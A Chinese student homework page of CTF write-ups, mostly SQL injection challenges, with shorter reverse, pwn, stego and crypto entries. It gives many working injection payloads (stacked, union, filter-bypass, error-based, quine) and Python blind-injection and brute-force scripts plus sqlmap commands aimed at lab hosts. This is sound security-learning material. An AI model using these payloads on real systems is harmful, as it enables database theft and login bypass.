第三周作业

[强网杯 2019]随便注

先查看一下是什么注入,输入1'出现报错,说明是字符型注入,单引号闭合

然后查询列数,输入1' order by 3#时出现报错说明列数为3列

尝试联合注入,1' union select 1,2#,发现select被过滤

根据提示,想到堆叠注入,去了解了一下堆叠注入,大致原理就是:mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句。

还需要了解一下sql中show函数的使用:

复制代码
show databases//列出服务器可访问的数据库
show tables//显示该数据库内相关表的名称
show columns from tablename;//显示表tablename的字段、字段类型、键值信息、是否可以用null、默认值及其他信息。

先查看一下数据库,1' ;show database#,得到回显

再查看一下有哪些表,1';show tables#

得到两个表,先查看第一个表1'; show columns from `1919810931114514`#(这里要注意表名为数字时,要用反引号包起来查询)

发现flag,接下来就是查看flag,这里去找了大佬的,后面需要自己去理解一下

复制代码
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);

1';HANDLER `1919810931114514` OPEN; HANDLER `1919810931114514` READ FIRST; HANDLER `1919810931114514` CLOSE;#

[SWPUCTF 2021 新生赛]sql

先查看是什么注入,输入?wllm=1';出现报错说明是字符型注入

输入?wllm=-1' or 1=1#发现存在过滤,过滤了空格和等号,这里我们使用/**/和like代替;测试长度,输入?wllm=1'/**/order/**/by/**/4%23出现报错

接下来基本就是联合注入,查一下回显?wllm=-1'/**/union/**/select/**/1,2,3%23

发现回显处在2和3,再查库?wllm=-1'/**/union/**/select/**/1,2,database()%23

得到库名,查询表名?wllm=-1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23

找到表名,flag应该在第一个表中,再查看一下第一个表,?wllm=-1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23

找到了flag所在的字段,最后查看flag的字段,?wllm=-1%27/**/union/**/select/**/1,group_concat(flag),mid(group_concat(flag),21)/**/from/**/LTLT_flag%23

发现得到的flag不全,原因是字段的位数长度不足,使用截断函数进行绕过,发现substr,right,REVERSE 被过滤,只能使用mid,

复制代码
?wllm=-1'union/**/select/**/1,mid((select/**/flag/**/from/**/LTLT_flag),21,41),mid((select/**/flag/**/from/**/LTLT_flag),42,62)%23

[极客大挑战 2019]EasySQL

这题很简单,我尝试了一下万能密码,flag就出来了

1 and 1=1

1' and '1'='1

1 or 1=1

1' or '1'='1

[UUCTF 2022 新生赛]ezsql

先用万能密钥测试一下,发现用户名其实是已知,说明注入点在password

还得到了闭合方式为')闭合且这里输入的payload被逆向,接下来就是查询显示的列数,在password处输入,发现or被过滤了,后尝试了发现过滤了or,from,where,这里我们可以采用双写绕过,#;2,1 tceles noinu )'nimda

再进行查库,#;2,)(esabatad tceles noinu )'nimda

得到数据库为UUCTF,然后查表名,#;)(esabatad=amehcs_elbat erehw selbat.amehcs_noitamrofni moorrf )eman_elbat(tacnoc_puoorrg,)(esabatad tceles noinu )'nimda

发现flag的所在位置,再查询字段,#;'galf'=eman_elbat erehw snmuloc.amehcs_noitamrofni moorrf )eman_nmuloc(tacnoc_puoorrg,)(esabatad tceles noinu )'nimda

最后就是查看flag,#;galf.FTCUU moorrf )FTCUU(tacnoc_puoorrg,)(esabatad tceles noinu )'nimda

[SWPUCTF 2022 新生赛]ez_sql

根据提示,尝试后发现是POST传参,先测试是什么类型

为字符型注入,后尝试and等,发现and,空格,or,union被过滤了

先判断列数,nss=-1'/**/oorrder/**/by/**/4#,出现报错,列数为3

采用联合注入,判断显示位,nss=-1'/**/ununionion/**/select/**/1,2,3#,发现没有回显

尝试访问下一行nss=-1'/**/ununionion/**/select/**/1,2,3/**/limit/**/1,1#,得到回显2和3;然后查询数据库,nss=-1'/**/ununionion/**/select/**/1,database(),(select/**/group_concat(schema_name)/**/from/**/infoorrmation_schema.schemata)/**/limit/**/1,1#

得到库名为NSS_db,查看表名nss=-1'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1#

得到两个表,猜测flag在第一个表中,查询字段nss=-1'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'/**/limit/**/1,1#

查看字段内容nss=-1'/**/ununionion/**/select/**/1,database(),group_concat(id,Secr3t,flll444g)/**/from/**/NSS_tb/**/limit/**/1,1#

得到flag

[SWPUCTF 2024 秋季新生赛]ez_sql

先测试类型,发现是字符型

联合注入,先爆库名-1' union select 1,2,group_concat(schema_name),4 from information_schema.schemata#

发现ctf,再爆表名-1' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='ctf'#

爆列名-1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='ctf' and table_name='flag'#

最后查看flag,尝试多次发现flag在data中,-1' union select 1,2,group_concat(data),4 from flag#

[HNCTF 2022 WEEK2]easy_sql

这题考察WAF,用bp测试了一下,发现过滤了很多

复制代码
~
!
@
#
$
%
^
&
-
+
 
--
--+
&&
!(<>)
and
sleep
order
is
distinct
infomation
handler

先测试一下列数,1'/**/group/**/by/**/4,'1,出现报错,说明列数为3

再确定一下回显位置,1'/**/union/**/select/**/1,2,3/**/'1,回显位置为3

爆数据库,1'/**/union/**/select/**/1,2,database()/**/where/**/'1,库名为ctf

查询表名,1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1(这里由于information被过滤了,使用mysql.innodb_table_stats代替)

查询flag所在的表1'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/table_name="flag"'

发现flag所在的表为ctftraining,最后就是查询flag在这个表里的列,1'/**/union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/where/**/'1

直接得到了flag

[NISACTF 2022]hardsql

根据题目提示,得知用户名为bilala,注入点为password,尝试输入1' or 1=1#,发现被waf拦截

尝试发现好多字符被过滤,尝试爆破密码,去找了一下大佬的脚本

python 复制代码
import requests
import time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
    url = "http://1.14.71.254:28843/login.php"
    flag = ""
    Cookie = {'frontLang':'zh - cn',
    'frontDevice':'desktop',
    'theme' : 'default',
    'adminLang' : 'zh - cn',
    'adminDevice' : 'desktop',
    'currentGroup': 'design'
    }
    while(True):
        for i in alp:
            data = {
                'username': 'bilala',
                'passwd':f"1'or/**/passwd/**/like/**/'{flag+i}%'#"
            }
            res = requests.post(url=url,data=data)
            time.sleep(0.1)
            if "nothing found" not in res.text:
                flag+=i
                print(flag)
                break
            elif "~" in i:
                return
if __name__=='__main__':
    get_pass()

得到密码为b2f2d15b3ae082ca29697d8dcd420fd7,登录后得到源码

过滤的字符也都全部可以查看了,分析后得到,查询出来的passwd要和𝑝𝑎𝑠𝑠𝑤𝑜𝑟𝑑强相等,且

passwor不等于b2f2d15b3ae082ca29697d8dcd420fd7,去查看了一下大佬的wp,构造payload

username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#

得到flag

[October 2019]Twice SQL Injection

这题考察二次注入,先了解一下二次注入

二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 "\" 进行转义,但是"\"并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

尝试了一下简单的sql语句,发现通过注册用户名将sql语句写入到数据中

先爆一下库,1' union select database()#,密码随意

爆表名,1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#

得到表名,再查询列名,1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

复制代码

查看字段,1' union select flag from flag#、

得到flag

[MoeCTF 2022]Sqlmap_boy

查看源码发现sql语句,看出闭合方式是单引号和双引号' ",先使用万能密码登录

登陆成功后,先爆库

再爆表名

得到表名后,我们就可以进行爆字段

最后就是查看字段内容

还有就是使用sqlmap,再使用过程中,sqlmap会提醒使用cookie值

python 复制代码
sqlmap -u http://node5.anna.nssctf.cn:24071/secrets.php?id=1 --cookie=PHPSESSID=2465971995f9516feb997fcd0868d59a --dbs
sqlmap -u http://node5.anna.nssctf.cn:24071/secrets.php?id=1 --cookie=PHPSESSID=2465971995f9516feb997fcd0868d59a -D "moectf" --tables
sqlmap -u http://node5.anna.nssctf.cn:24071/secrets.php?id=1 --cookie=PHPSESSID=2465971995f9516feb997fcd0868d59a -D "moectf" -D "moectf" -T "flag" --columns
sqlmap -u http://node5.anna.nssctf.cn:24071/secrets.php?id=1 --cookie=PHPSESSID=2465971995f9516feb997fcd0868d59a -D "moectf" -T "flag" -C "flAg" --dump

[GHCTF 2025]SQL???

先了解一下sqllite,SQLite是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库不一样,您不需要在系统中配置。

就像其他数据库,SQLite 引擎不是一个独立的进程,可以按应用程序需求进行静态或动态连接。SQLite 直接访问其存储文件。

基础语法

基础语法:

python 复制代码
# 数据库基础语法
sqlite3 sqltest.db           #sqlite的每一个数据库就是一个文件
#执行这个命令成功创建数据库文件之后,将提供一个 sqlite> 提示符。
sqlite> .databases             #判断数据库是否存在
sqlite> .open sqltest.db       #打开数据库
sqlite> .tables                #列出数据库中所有的表
sqlite> .schema test           #得到该表所使用的命令

#创建表,语句和mysql差不多,先进入sqlite>下
sqlite> create table test(
   ...> id INT PRIMARY KEY     NOT NULL,
   ...> name char(50) NOT NULL
   ...> );
#向表中插入数据
sqlite> insert into test (id,name) values (1,'alice');
sqlite> insert into test (id,name) values (2,'bob');
#查询语句
sqlite> select * from test;

#导入导出
sqlite3 testDB.db .dump > testDB.sql   #导出
sqlite3 testDB.db < testDB.sql         #导入


​

先判断一下字段?id=1 order by 5,在6时出现报错,但实际上注入时发现只有3段

再查表名,?id=1 union select 1,2,3,sqlite_version(),(select sql from sqlite_master limit 0,1)---

得到表名,查看表内数据,?id=1 union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag) ---

flag直接就出来了

[极客大挑战 2019]BabySQL

登录页面,尝试万能密码,失败,发现两个参数点;尝试后发现password可以进行sql注入。

先查看类型,1'出现报错,判断为单引号闭合

测试字段,发现or和by被过滤了, 使用双写绕过,1' oorrder bbyy 3--+

发现字段为3,查询回显位,发现union 和 select 被过滤,1' uniunionon selselectect 1,2,3--+

得到回显位,爆库,1' uniunionon selselectect 1,2,database()--+

库名为geek,再爆表,1' uniunionon selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='geek')--+

查询列名,1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql')--+

列名id,username,password,最后查字段内容,1' uniunionon selselectect 1,2,(selselectect group_concat(username,":",passwoorrd) frfromom b4bsql)--+

[极客大挑战 2019]FinalSQL

根据提示,页面给了五个按钮,依次点击尝试一下

发现注入点为id,尝试对id进行注入,这里采用布尔盲注:id=1^1和id=1^0

没办法了,只能去查看大佬的wp,根据这个原理,构造类似这样的payload,id=1^(ascii(substr((select(database())),1,1))>100)

找到大佬的脚本

python 复制代码
import requests
import sys
import time
 
#判断数据库名长度
def get_DBlen(url):
    for i in range(1,10):
        db_url = url+"1^1^(length(database())=%d)#"%i
        r = requests.get(db_url)
        if "Click" in r.text:
            print("数据库名称的长度为:%d"%i)
            return i
#爆数据库名
def get_DBname(url,length):
    DBname = ""
    length = length + 1
    for i in range(1,length):
        Max = 122
        Min = 41
        Mid = (Max+Min)//2
        while Min <= Max:
            db_url = url+"1^1^(ascii(substr(database(),%d,1))>=%d)#"%(i,Mid)
            r = requests.get(db_url)
            if "Click" in r.text:
                Min=Mid+1
                Mid=(Min+Max)//2
                pass
            else:
                Max = Mid-1
                Mid = (Min+Max)//2
                pass
            pass
        DBname = DBname + chr(Mid)
    print("数据库名:",DBname)
    return DBname
 
def get_TBname(url):
    name=""
    i = 0
    print("字段内容为:")
    while True:
        i = i+1
        Max = 128
        Min = 32
        Mid = (Max+Min)//2
        while Min <= Max:
            # 爆表名
            # db_url = url+"1^1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>=%d)#"%(i,Mid)
            # 爆字段名
            # db_url = url+"1^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>=%d)#"%(i,Mid)
            # 获取flag
            db_url = url+"1^1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>=%d)"%(i,Mid)
            r = requests.get(db_url)
            if "Click" in r.text:
                Min=Mid+1
                Mid=(Min+Max)//2
                pass
            else:
                Max=Mid-1
                Mid=(Min+Max)//2
                pass
            pass
        name=name+chr(Mid)
        if Mid == 31:
            break
        print(name)
    #速度太快显示不完全
        time.sleep(0.5)
 
 
if __name__=="__main__":
    url = "http://41a8c6b3-f4d5-4b79-9bbc-0bf925168a5f.node4.buuoj.cn/search.php?id="
    db_Len = get_DBlen(url)
    db_Name = get_DBname(url,db_Len)
    tb_name = get_TBname(url)

运行后就能得到flag

[极客大挑战 2019]HardSQL

这题与上题一样还是password为注入点,发现存在过滤,使用bp爆一下发现很多字符=、--+、/**/和一些注入命令union、by等被过滤

先查看注入类型,为字符型注入

进行爆库,1'or(extractvalue(1,concat(0x5e,(database()),0x5e)))%23

得到库名为geek,再获取表名,1'or(extractvalue(1,concat(0x5e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x5e)))%23

得到表名为H4rDsq1,然后再获取字段名1%27or(extractvalue(1,concat(0x5e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x5e)))%23

最后就是查看字段内容,1'or(updatexml(1,concat(0x7e,(select(left(password,33))from(H4rDsq1)),0x7e),1))%23

发现只有一半,再去查看另一半,1'or(updatexml(1,concat(0x7e,(select(right(password,26))from(H4rDsq1)),0x7e),1))%23

[GXYCTF2019]BabySQli

这题给了源码,我们先分析一下源码

python 复制代码
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<!-- Base32编码的数据,可能是某种标识或密钥 -->

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<!-- 页面标题,暗示可能需要识别身份 -->

<?php
require "config.php";      // 引入数据库配置文件
require "flag.php";        // 引入flag文件,包含$flag变量

// 去除转义 - 如果开启了魔术引号,则清除转义字符
if (get_magic_quotes_gpc()) {  // 检查是否开启魔术引号(旧版PHP安全特性)
    function stripslashes_deep($value)  // 递归去除转义函数
    {
        $value = is_array($value) ?  // 判断是否为数组
        array_map('stripslashes_deep', $value) :  // 递归处理数组
        stripslashes($value);  // 处理字符串
        return $value;
    }
 
    // 递归去除所有输入数组中的转义
    $_POST = array_map('stripslashes_deep', $_POST);
    $_GET = array_map('stripslashes_deep', $_GET);
    $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
    $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
 
mysqli_query($con,'SET NAMES UTF8');  // 设置数据库字符集
$name = $_POST['name'];     // 获取POST参数name
$password = $_POST['pw'];   // 获取POST参数pw
$t_pw = md5($password);     // 计算密码的MD5值(但未使用)
$sql = "select * from user where username = '".$name."'";  // 拼接SQL查询
// echo $sql;  // 被注释掉的SQL语句输出,可用于SQL注入调试
 
$result = mysqli_query($con, $sql);  // 执行SQL查询
 
 
if(preg_match("/\(|\)|\=|or/", $name)){  // 检查用户名是否包含(、)、=、or
    die("do not hack me!");  // 如果包含则终止并输出错误
}
else{  // 用户名不包含黑名单字符
    if (!$result) {  // 如果SQL查询失败
        printf("Error: %s\n", mysqli_error($con));  // 打印SQL错误
        exit();
    }
    else{  // SQL查询成功
        // echo '<pre>';  // 被注释掉的调试输出
        $arr = mysqli_fetch_row($result);  // 获取查询结果行
        // print_r($arr);  // 被注释掉的数组打印
        if($arr[1] == "admin"){  // 检查第二列是否为admin(假设[0]是id,[1]是用户名)
            if(md5($password) == $arr[2]){  // 验证密码的MD5值是否匹配第三列
                echo $flag;  // 验证成功,输出flag
            }
            else{  // 密码不匹配
                die("wrong pass!");
            }
        }
        else{  // 用户名不是admin
            die("wrong user!");
        }
    }
}
 
?>

开头第一行需要先进行base32解密,再进行base64解密,解密后得到

python 复制代码
select * from user where username = '$name'

说明注入点为name,从代码可以看出,name和pw参数分别存储在password中,t_pw存储经过md5加密后的password,result存储经过sql查询返回的数据,还进行了一些字符的过滤,最重要的是result转换成数组的形式,然后经过两个if判断,第一个if判断arr的第一个数组是否等于admin,第二个if判断arr的第二个数组是否等于password经过md5加密后的值。

先查看注入类型,发现为字符类型

再测试字段数,-1' union select 1,2,3,4#,到四时出现报错,说明字段数为3

其中根据源码,三段中有一段为admin,经过测试后发现2为admin,1' union select 1,'admin,3#

最后就是构造payload,查看flag,name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1;这里3处填的是密码的MD5值

reverse1

这题以前已经做过了,先用IDA打开,发现没有什么主要的信息,使用strings查看一下

发现有关flag的信息,点击进去

发现重要字符串,用x查看有关该字符串的函数

发现rcx函数,用F5查看伪代码

点击str2,进去后发现flag

sandbox

先使用file和checksec查看,发现开启了canary和nx保护。

用IDA打开附件,发现box函数,发现不能输入cat flag

还发现我们不可以输入'sh','cat','flag',那我们需要对其进行绕过,去查找了一下pwm的绕过方法,发现可以利用0进行绕过,0等效'sh' 'bin/sh'进行提权,就可以拿到flag了(我这里kali出了点问题,就不展示了)

你竟然赶我走

这题也是以前做过的,使用stegsolve打开图片,打开File Format(文件格式),就可以得到flag

[SWPUCTF 2021 新生赛]ez_caesar

看str的形式有点像base64,先用base64解密、

再用凯撒密码解密,偏移量为5(试出来的)

或者用随波逐流梭哈

二维码

这题也是做过的,用010或stegsolve打开图片,查看发现图片中隐藏了一个压缩包

然后可以用kali中的binwalk的方式分离文件了,或者嫌麻烦可以直接使用随波逐流中的binwalk

提取后是一个加密的zip,直接使用随波逐流的暴力破解

复制代码
相关推荐
l1t2 分钟前
测试clickhouse 26.3的新功能
数据库·clickhouse
Mike117.10 分钟前
GBase 8a 批处理任务里的事务提交粒度和回滚边界
数据库
小江的记录本11 分钟前
【JEECG Boot】 《JEECG Boot 数据字典使用教程》(完整版)
java·前端·数据库·spring boot·后端·spring·mybatis
yjb.gz12 分钟前
Oracle物化视图概述
数据库·oracle
fundoit13 分钟前
MySQL Workbench中的权限设置不生效
数据库·mysql
ZzzZZzzzZZZzzzz…16 分钟前
MySQL备份还原方法2----LVM
linux·运维·数据库·mysql·备份还原
i220818 Faiz Ul17 分钟前
教育资源共享平台|基于springboot + vue教育资源共享平台系统(源码+数据库+文档)
java·数据库·vue.js·spring boot·论文·毕设·教育资源共享平台
M--Y19 分钟前
Redis常用数据类型-2
数据库·redis
不会写DN21 分钟前
SQL 单表操作全解
java·服务器·开发语言·数据库·sql
tang7778926 分钟前
小红书平台用什么代理IP?数据采集IP封禁解决方法
数据库·爬虫·python·网络协议·ip